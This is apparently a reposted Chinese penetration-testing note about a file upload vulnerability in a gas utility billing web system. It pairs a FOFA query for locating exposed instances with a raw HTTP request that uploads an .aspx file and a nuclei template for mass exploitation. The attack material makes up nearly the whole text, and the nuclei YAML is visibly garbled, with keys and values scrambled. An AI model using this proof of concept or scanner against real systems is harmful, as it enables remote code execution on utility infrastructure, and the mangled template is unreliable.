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二、产品介绍:
三、资产梳理:
fofa:app="先锋WEB燃气收费系统"
四、漏洞复现:
五、POC:
GET /AjaxService/Upload.aspx HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------352149293954742437289922451
Content-Length: 351
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------352149293954742437289922451
Content-Disposition: form-data; name="Fdata"; filename="123.aspx"
Content-Type: application/octet-stream
hello
-----------------------------352149293954742437289922451
Content-Disposition: form-data; name="submit"
Submin
-----------------------------352149293954742437289922451--
nuclei批量
id: xianfeng_files_upload
info:
name: xianfeng_files_upload
author: joyboy
severity: critical
description: 先锋WEB燃气收费系统文件上传漏洞
metadata:
1 :
app="先锋WEB燃气收费系统" :
verified: true
tags: rce
requests:
raw:
|-
POST /AjaxService/Upload.aspx HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 :
multipart/form-data; boundary=---------------------------352149293954742437289922451 :
349 :
Origin: null
Connection: close
1 :
-----------------------------352149293954742437289922451
form-data; name="Fdata"; filename="123.aspx" :
application/octet-stream :
hello
-----------------------------352149293954742437289922451
form-data; name="submit" :
Submin
-----------------------------352149293954742437289922451--
|-
GET /UploadFile/{{date_time("%Y%M")}}/{{timestrp}} HTTP/1.1
Host: {{Hostname}}
extractors:
type: regex
name: timestrp
internal: true
part: body
regex:
'[0-9]{16}.aspx'
and :
matchers:
type: word
part: body_2
words:
hello
type: status
status:
200
原文始发于微信公众号(fly的渗透学习笔记):某燃气收费系统文件上传漏洞
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